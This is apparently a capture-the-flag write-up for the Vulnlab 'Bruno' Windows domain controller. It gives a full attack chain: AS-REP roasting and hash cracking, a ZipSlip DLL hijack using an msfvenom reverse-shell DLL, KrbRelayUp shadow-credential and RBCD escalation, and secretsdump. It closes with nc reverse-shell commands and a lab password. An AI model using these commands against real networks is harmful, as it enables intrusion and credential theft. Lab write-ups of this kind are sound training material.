# Vulnlab - Bruno ```bash PORT STATE SERVICE VERSION 21/tcp open tcpwrapped 53/tcp open tcpwrapped 80/tcp open tcpwrapped 135/tcp open tcpwrapped 139/tcp open tcpwrapped 443/tcp open tcpwrapped 88/tcp open kerberos-sec | tls-alpn: |_ http/1.1 | ssl-cert: Subject: commonName=bruno-BRUNODC-CA | Issuer: commonName=bruno-BRUNODC-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2022-06-29T13:23:01 | Not valid after: 2121-06-29T13:33:00 | MD5: 659b3c9000eb1e0a51701be90456840c |_SHA-1: a093f4c23c8e053286f21e99cad782f8e40e3d72 445/tcp open tcpwrapped 636/tcp open tcpwrapped | ssl-cert: Subject: commonName=brunodc.bruno.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::, DNS:brunodc.bruno.vl | Issuer: commonName=bruno-BRUNODC-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2023-08-22T06:05:15 | Not valid after: 2024-08-21T06:05:15 | MD5: 1f78c03b2d8da3ec00765fcc68d5973b |_SHA-1: be3a109df3cfefcf7a8078654bbbf09ae7950fd5 3269/tcp open tcpwrapped | ssl-cert: Subject: commonName=brunodc.bruno.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::, DNS:brunodc.bruno.vl | Issuer: commonName=bruno-BRUNODC-CA 3389/tcp open tcpwrapped | ssl-cert: Subject: commonName=brunodc.bruno.vl | Issuer: commonName=brunodc.bruno.vl ``` ## PORT 21 (FTP) Logging in as an anonymous user on FTP, we can find few directories

From `app` folder, there's `SampleScanner`

Reading the `changelog` file we can see a username `svc_scan`

Since we are targeting a domain controller, we can check for ASREP roasting (accounts with pre-authentication disabled)

Having the hash, attempting to crack it against hashcat ```bash hashcat -a 0 -m 18200 ./svc_scan.txt /usr/share/wordlists/rockyou.txt --force ```

Listing the shares with this user, we have write access on `queue`

On this point, we need to understand what sample scanner is doing and what's the use of this queue share folder, using `ILSpy` to analyze the SampleScanner.dll

## DLL Hijacking This dll looks for a zip file in `C:\Samples\queue` , extracts the file and deletes the zip file, if it's not a zip file it checks for the occurrence of the AV test file pattern defined by the text string and place it into malicious folder else it places it into bengin folder, so running this locally by transferring all required files

Creating `\sample\queue` in C:\ and placing a zip file for testing

Running `SampleScanner` will extract the contents of the zip file

Here we canperform path traversal to extract the file in any location which is known as `ZipSlip`, for creating a malicious zip file we can use `evilarc.py` (https://github.com/ptoomey3/evilarc) or we can use 7zip to edit the filename to be `..\file.txt`

This will extract the contents of `evil.zip` outside the directory of `C:\Samples\queue`

Since this is being ran with `svc_scan` we can achieve remote code execution by replacing the dll being used with SampleScanner, for that we need to analyze which dll we need to place, with `Process Monitor` we can analyze which DLL is missing from the program by applying filters for the DLLs which are not found by the exe

Here we see two DLLs which are being used by this program but are not found in the current path, `hostfxr.dll` and `Microsoft.DiaSymReader.Native.amd64.dll` , generating a dll through `msfvenom` and replacing the DiaSymReader dll

```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.154 LPORT=2222 -f dll > test.dll ```

Executing SampleScanner now will trigger a reverse shell as we have placed our maclious dll

To do this on the target machine, we need to place the dll with a path traversal `..\app\Microsoft.DiaSymReader.Native.amd64.dll`, since svc_scan has write access to `queue` share folder we can upload the archive file through smb

Within seconds we'll receive a connection on our listener

Checking the privileges of svc_scan user, it have any interesting privileges

Running python-bloodhound to enumerate the domain ```bash python3 bloodhound.py -u 'svc_scan' -p 'Sunshine1' -d 'bruno.vl' -c all -ns 10.10.84.94 --auth-method ntlm ```

There wasn't any path leading to domain admin from svc_scan

However we can see `svc_net` being AS-REP roastable

Through `GetNPUsers.py` we can retrieve TGT of svc_net and attempt to crack it ```bash GetNPUsers.py bruno.vl/svc_net -no-pass -dc-ip 10.10.108.253 ```

Which is the same password as svc_scan, also this user doesn't didn't had any special privileges, from winpeas we can see target being vulnerable to `KrbRelayUp`

## Shadow Credentials To escalate privileges through KrbRelayUp, we need ensure that LDAP singing is disabled and we are allowed to add a machine account, however this is optional as we can abuse shadow credentials if PKINT is supported by DC, through cme we can verify the machine qouta ```bash cme ldap bruno.vl -u 'svc_scan' -p 'Sunshine1' -M maq ```

Also we can see ldap signing is not enforced ```bash cme ldap bruno.vl -u 'svc_scan' -p 'Sunshine1' -M ldap-checker ```

For using krbrealyup, we need a valid CLSID, I grabbed the `certsrv` ID from https://vulndev.io/cheats-windows/

Using the shadow credentials method on port 10246, as this was the port which was available ``` .\KrbRelayUp.exe full -m shadowcred -cls {d99e6e73-fc88-11d0-b498-00a0c90312f3} -p 10246 ```

Now using Rubeus, to request a TGT for `brunodc` through `PKINT` authentication ``` Rubeus.exe asktgt /user:brunodc$ /certificate:MIIKSAIBAzCCCgQGC...snip.... /password:tV0-oN8$aB7- /enctype:AES256 /nowrap ```

Converting the kirbi ticket for brunodc to ccache so we can use it with `secretsdump.py`

```bash secretsdump.py 'brunodc$'@brunodc.bruno.vl -k -no-pass ```

## Resource Based Constrained Delegation We can also perform Resource Based Constrained Delegation (RBCD) by creating machine account and that account in brunodc's `msDS-AllowedToActOnBehalfOfOtherIdentity` property ``` .\KrbRelayUp.exe full -m rbcd -c -cls {d99e6e73-fc88-11d0-b498-00a0c90312f3} -p 10246 ```

Requesting the administrator's TGT through `getST.py`

Having the ticket, we can login through `smbexec.py`

# References - https://github.com/ptoomey3/evilarc - https://github.com/cesarsotovalero/zip-slip-exploit-example/blob/master/README.md - https://icyguider.github.io/2022/05/19/NoFix-LPE-Using-KrbRelay-With-Shadow-Credentials.html - https://github.com/Dec0ne/KrbRelayUp - https://vulndev.io/cheats-windows/ - http://ohpe.it/juicy-potato/CLSID/ ``` svc_scan:Sunshine1 \RunasCs.exe svc_scan 'Sunshine1' -d bruno.vl 'C:\Users\svc_scan\nc64.exe 10.8.0.136 2222 -e cmd.exe' -l 9 .\RunasCs.exe svc_net "Sunshine1" "C:\Users\svc_scan\nc64.exe 10.8.0.136 2222 -e cmd.exe" -d bruno.vl -l 9 ```